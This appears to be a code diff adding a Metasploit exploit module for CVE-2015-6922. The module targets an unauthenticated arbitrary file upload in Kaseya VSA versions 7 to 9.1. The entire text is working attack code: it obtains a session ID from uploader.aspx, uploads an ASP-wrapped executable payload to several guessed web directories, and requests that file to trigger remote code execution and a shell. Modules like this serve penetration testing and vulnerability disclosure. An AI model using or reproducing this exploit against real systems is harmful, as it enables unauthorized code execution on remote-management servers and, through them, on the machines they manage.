|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::EXE |
| 13 | + include Msf::Exploit::FileDropper |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Kaseya VSA uploader.aspx Arbitrary File Upload', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions |
| 20 | + between 7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary |
| 21 | + directory leading to arbitrary code execution with IUSR privileges. This module has been |
| 22 | + tested with Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3. |
| 23 | + }, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module |
| 27 | + ], |
| 28 | + 'License' => MSF_LICENSE, |
| 29 | + 'References' => |
| 30 | + [ |
| 31 | + ['CVE', '2015-6922'], |
| 32 | + ['ZDI', '15-449'], |
| 33 | + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'], |
| 34 | + ['URL', 'http://seclists.org/bugtraq/2015/Sep/132'] |
| 35 | + ], |
| 36 | + 'Platform' => 'win', |
| 37 | + 'Arch' => ARCH_X86, |
| 38 | + 'Privileged' => false, |
| 39 | + 'Targets' => |
| 40 | + [ |
| 41 | + [ 'Kaseya VSA v7 to v9.1', {} ] |
| 42 | + ], |
| 43 | + 'DefaultTarget' => 0, |
| 44 | + 'DisclosureDate' => 'Sep 23 2015')) |
| 45 | + end |
| 46 | + |
| 47 | + |
| 48 | + def check |
| 49 | + res = send_request_cgi({ |
| 50 | + 'method' => 'GET', |
| 51 | + 'uri' => normalize_uri('ConfigTab','uploader.aspx') |
| 52 | + }) |
| 53 | + |
| 54 | + if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/ |
| 55 | + return Exploit::CheckCode::Detected |
| 56 | + else |
| 57 | + return Exploit::CheckCode::Unknown |
| 58 | + end |
| 59 | + end |
| 60 | + |
| 61 | + |
| 62 | + def upload_file(payload, path, filename, session_id) |
| 63 | + print_status("#{peer} - Uploading payload to #{path}...") |
| 64 | + |
| 65 | + res = send_request_cgi({ |
| 66 | + 'method' => 'POST', |
| 67 | + 'uri' => normalize_uri('ConfigTab', 'uploader.aspx'), |
| 68 | + 'vars_get' => { |
| 69 | + 'PathData' => path, |
| 70 | + 'qqfile' => filename |
| 71 | + }, |
| 72 | + 'data' => payload, |
| 73 | + 'ctype' => 'application/octet-stream', |
| 74 | + 'cookie' => 'sessionId=' + session_id |
| 75 | + }) |
| 76 | + |
| 77 | + if res && res.code == 200 && res.body && res.body.to_s.include?('"success": "true"') |
| 78 | + return true |
| 79 | + else |
| 80 | + return false |
| 81 | + end |
| 82 | + end |
| 83 | + |
| 84 | + |
| 85 | + def exploit |
| 86 | + res = send_request_cgi({ |
| 87 | + 'method' => 'GET', |
| 88 | + 'uri' => normalize_uri('ConfigTab','uploader.aspx') |
| 89 | + }) |
| 90 | + |
| 91 | + if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/ |
| 92 | + session_id = $1 |
| 93 | + else |
| 94 | + fail_with(Failure::NoAccess, "#{peer} - Failed to create a valid session") |
| 95 | + end |
| 96 | + |
| 97 | + asp_name = "#{rand_text_alpha_lower(8)}.asp" |
| 98 | + exe = generate_payload_exe |
| 99 | + payload = Msf::Util::EXE.to_exe_asp(exe).to_s |
| 100 | + |
| 101 | + paths = [ |
| 102 | + # We have to guess the path, so just try the most common directories |
| 103 | + 'C:\\Kaseya\\WebPages\\', |
| 104 | + 'C:\\Program Files\\Kaseya\\WebPages\\', |
| 105 | + 'C:\\Program Files (x86)\\Kaseya\\WebPages\\', |
| 106 | + 'D:\\Kaseya\\WebPages\\', |
| 107 | + 'D:\\Program Files\\Kaseya\\WebPages\\', |
| 108 | + 'D:\\Program Files (x86)\\Kaseya\\WebPages\\', |
| 109 | + 'E:\\Kaseya\\WebPages\\', |
| 110 | + 'E:\\Program Files\\Kaseya\\WebPages\\', |
| 111 | + 'E:\\Program Files (x86)\\Kaseya\\WebPages\\', |
| 112 | + ] |
| 113 | + |
| 114 | + paths.each do |path| |
| 115 | + if upload_file(payload, path, asp_name, session_id) |
| 116 | + register_files_for_cleanup(path + asp_name) |
| 117 | + print_status("#{peer} - Executing payload #{asp_name}") |
| 118 | + |
| 119 | + send_request_cgi({ |
| 120 | + 'uri' => normalize_uri(asp_name), |
| 121 | + 'method' => 'GET' |
| 122 | + }) |
| 123 | + |
| 124 | + # Failure. The request timed out or the server went away. |
| 125 | + break if res.nil? |
| 126 | + # Success! Triggered the payload, should have a shell incoming |
| 127 | + break if res.code == 200 |
| 128 | + end |
| 129 | + end |
| 130 | + |
| 131 | + end |
| 132 | +end |
0 commit comments